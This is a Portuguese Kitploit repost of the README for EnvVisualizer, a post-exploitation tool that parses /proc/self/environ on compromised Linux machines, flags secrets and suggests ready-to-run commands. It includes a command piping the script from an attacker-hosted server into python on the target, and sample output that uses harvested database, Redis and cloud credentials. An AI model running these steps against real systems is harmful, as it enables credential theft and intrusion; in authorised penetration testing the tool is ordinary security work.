Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!
EnvVisualizer — Faça o parse e visualize /proc/self/environ em máquinas Linux comprometidas — categoriza variáveis de ambiente por stack tecnológica (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) e gera insights classificados por severidade com comandos prontos a executar | Kitploit
Faça o parse e visualize /proc/self/environ em máquinas Linux comprometidas — categoriza variáveis de ambiente por stack tecnológica (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) e gera insights classificados por severidade com comandos prontos a executar
Analise, categorize e visualize /proc/self/environ em máquinas Linux comprometidas.
Transforme uma parede de texto de variáveis de ambiente fundidas em inteligência estruturada e codificada por cores — em segundos.
Com o rich instalado, cada categoria recebe sua própria tabela codificada por cores.
Recursos
Três modos de entrada — leia o arquivo diretamente (precisão perfeita), canalize via stdin ou cole uma string bruta
Parser inteligente de duas classes — lida corretamente com strings concatenadas onde os bytes nulos foram removidos por copiar e colar; detecta variáveis POSIX em maiúsculas e variáveis conhecidas com prefixo em minúsculas (npm_*, node_*, pip_*, etc.)
Seis categorias semânticas — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System e Other
Expansão de PATH — cada diretório listado como um item em vez de uma parede separada por dois-pontos
Detecção de segredos — sinaliza variáveis cujos nomes ou valores correspondem a padrões de credenciais (TOKEN, KEY, SECRET, PASSWORD, etc.) com um aviso ⚠
Painel Pentest Insights — expõe automaticamente descobertas acionáveis: contexto de root, escalação via sudo, portas do depurador Node.js expostas, scripts de ciclo de vida ativos
Rich ou simples — tabelas codificadas por cores com rich instalado; saída em texto simples limpa como alternativa (zero dependências necessárias)
Instalação
Opção 1 — Clonar e executar (recomendado para ambientes de pentest)
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
Opção 2 — Instalar como comando de sistema
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
Opção 3 — Arquivo único (sem necessidade de git)
Copie envvisualizer.py para a máquina alvo ou atacante. Ele executa sem dependências:
root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
Requisitos
Dependência
Versão
Obrigatória
Python
≥ 3.8
Sim
rich
≥ 13.0
Não (alternativa em texto simples)
Uso
root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
Modos de entrada
Método
Comando
Precisão
Leitura direta do arquivo
python3 envvisualizer.py -f /proc/self/environ
✅ Perfeita (divisão por byte nulo)
Pipe via stdin
cat /proc/self/environ | python3 envvisualizer.py
✅ Perfeita (divisão por byte nulo)
String colada
python3 envvisualizer.py -r 'USER=dev...'
✅ Boa (heurística de duas classes)
Sem argumentos (demo)
python3 envvisualizer.py
✅ Perfeita (próprio processo)
Dica: Prefira -f sempre que tiver acesso ao arquivo.
O delimitador de byte nulo no arquivo real é exato — nenhuma heurística necessária.
Exemplos
Ler diretamente do proc (melhor precisão)
root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
Canalizar via stdin
root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py
Colar uma string bruta (copiada de um web shell / saída de RCE)
O painel Pentest Insights dispara detecções direcionadas e cientes da stack com quatro níveis de severidade.
Comandos prontos para execução são gerados dinamicamente a partir dos valores reais encontrados no ambiente.
Severidade
Prefixo
Significado
💀 CRITICAL
[!!!]
Credencial ativa, chave secreta ou chave mestra — impacto imediato
⚠ HIGH
[!! ]
Token, modo de depuração ou serviço exposto — caminho de ataque acionável
→ MEDIUM
[! ]
Informação interessante que pode auxiliar na escalação
KUBERNETES_SERVICE_HOST injetado → sinaliza contexto de pod, sugere leitura do token SA
Docker
DOCKER_HOST definido → sinaliza exposição do daemon
GitHub / GitLab
Tokens → sugere comandos curl de validação da API
Heroku
HEROKU_API_KEY → sinaliza com o nome do app
Stripe
sk_live_* ativo → CRITICAL; sk_test_* de teste → MEDIUM
Datadog
→ sinaliza acesso a métricas/logs/traces
Exemplo de saída (cenário multi-stack)
root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
Como o Parser de String Funciona
Quando /proc/self/environ é copiado e colado (por exemplo, de um web shell ou saída de curl), os bytes nulos são removidos, fundindo variáveis adjacentes:
root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
Uma divisão ingênua por WORD= produziria devnpm_config_user_agent como chave.
O EnvVisualizer usa um detector de limite de duas classes que só divide em:
Chaves predominantemente em maiúsculas — USER, HOME, JOURNAL_STREAM, etc.
Prefixos conhecidos em minúsculas — npm_*, node_*, pip_*, java_*, python_*, ruby_*, etc.
Como a regex encontra npm_config_user_agentdentro do token fundido, o valor anterior é automaticamente reduzido para dev. Sem lookbehind, sem suposições de limite de palavra — apenas o próprio padrão da chave como âncora.